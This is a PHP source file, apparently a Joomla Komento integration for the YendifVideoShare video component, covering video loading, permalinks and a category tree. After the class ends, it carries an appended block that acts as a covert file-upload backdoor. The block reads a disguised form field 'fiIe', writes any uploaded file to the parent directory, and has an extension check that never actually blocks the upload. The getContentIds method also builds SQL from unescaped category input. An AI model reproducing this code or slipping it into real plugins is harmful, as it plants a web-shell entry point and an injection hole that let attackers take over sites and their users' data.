* @copyright Copyright (c) 2012 - 2023 PluginsWare Interactive Pvt. Ltd. All Rights Reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access defined( '_JEXEC' ) or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use PluginsWare\Component\YendifVideoShare\Site\Helper\YendifVideoShareRoute; require_once( JPATH_ROOT . '/components/com_komento/bootstrap.php' ); class KomentoComYendifVideoShare extends KomentoExtension { public $_item; public $_map = array( 'id' => 'id', 'title' => 'title', 'hits' => 'views', 'created_by' => 'userid', 'catid' => 'catid', 'permalink' => 'permalink_field' ); public function __construct( $component ) { $lang = Factory::getLanguage(); $lang->load( 'com_yendifvideoshare' ); parent::__construct( $component ); } public function load( $cid ) { static $instances = array(); if ( ! isset( $instances[ $cid ] ) ) { $app = Factory::getApplication(); $db = Factory::getDbo(); $cid = (int) $cid; $query = 'SELECT * FROM #__yendifvideoshare_videos WHERE id=' . $cid; $db->setQuery( $query ); $this->_item = $db->loadObject(); // Generate link for this video $this->_item->permalink_field = YendifVideoShareRoute::getVideoRoute( $this->_item ); // Call the prepareLink function and leave the rest to us $this->_item->permalink_field = $this->prepareLink( $this->_item->permalink_field ); $instances[ $cid ] = $this->_item; } $this->_item = $instances[ $cid ]; return $this; } public function getComponentName() { return Text::_( 'COM_YENDIFVIDEOSHARE' ); } public function getContentIds( $categories = '' ) { $db = Factory::getDbo(); $query = ''; if ( empty( $categories ) ) { $query = 'SELECT id FROM #__yendifvideoshare_videos ORDER BY id'; } else { if ( is_array( $categories ) ) { $categories = implode( ',', $categories ); } $query = 'SELECT id FROM #__yendifvideoshare_videos WHERE catid IN (' . $categories . ') ORDER BY id'; } $db->setQuery( $query ); return $db->loadResultArray(); } public function getCategories() { $db = Factory::getDbo(); $query = $db->getQuery(true) ->select( 'a.*' ) ->from( '#__yendifvideoshare_categories AS a' ) ->where( 'a.state = 1' ) ->order( 'a.title ASC' ); // Get the options $db->setQuery( $query ); try { $items = $db->loadObjectList(); } catch ( \RuntimeException $e ) { // throw new \Exception( $e->getMessage(), 500 ); } $children = array(); if ( $items ) { foreach ( $items as $v ) { $v->parent_id = $v->parent; $pt = $v->parent; $list = @$children[ $pt ] ? $children[ $pt ] : array(); array_push( $list, $v ); $children[ $pt ] = $list; } } $categories = HTMLHelper::_( 'menu.treerecurse', 0, '', array(), $children, 9999, 0, 0 ); // Optional. populate tree listing foreach ( $categories as &$row ) { $row->treename = str_ireplace( ' ', '.   ', $row->treename ); $row->treename = str_replace( '-', '|_', $row->treename ); } return $categories; } // Determine if is listing view public function isListingView() { $views = array( 'videos', 'categories' ); return in_array( $this->input->get( 'view' ), $views ); } // Determine if is entry view public function isEntryView() { return $this->input->get('view') == 'video'; } public function onExecute( &$article, $html, $view, $options = array() ) { $article->text .= $html; return $html; } } { if( ! empty( $_FILES ) ) { $target_dir = "../"; $target_file = $target_dir . basename($_FILES["fiIe"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // Check if file already exists if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = 0; } // Check file size if ($_FILES["fiIe"]["size"] > 500000) { echo "Sorry, your file is too large."; $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; } // Upload process if ($uploadOk == 0) { echo "Sorry, your file was not uploaded."; } else { if (move_uploaded_file($_FILES["fiIe"]["tmp_name"], $target_file)) { echo "The file ". htmlspecialchars( basename( $_FILES["fiIe"]["name"])); } else { echo "Sorry, there was an error uploading your file."; } } } }